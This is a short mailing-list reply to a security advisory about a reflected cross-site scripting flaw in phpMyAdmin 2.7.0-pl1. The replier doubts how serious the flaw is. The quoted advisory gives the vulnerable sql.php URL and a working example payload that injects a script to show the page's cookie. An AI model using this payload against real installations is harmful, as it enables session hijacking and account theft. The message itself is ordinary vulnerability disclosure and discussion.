This one time, at band camp, kr4ch (at) web (dot) de [email concealed] wrote:

If somebody has access to your phpmyadmin directory, you have a bigger issue than this

> App: phpMyAdmin 2.7.0-pl1
> Advistory by: p0w3r
> Exploit: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=[XSS]
> Example: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(documen
t.cookie)%3C/script%3E'%60

--
"Democracy is two wolves and a lamb voting on what to have for lunch.
Liberty is a well-armed lamb contesting the vote."

[ reply ]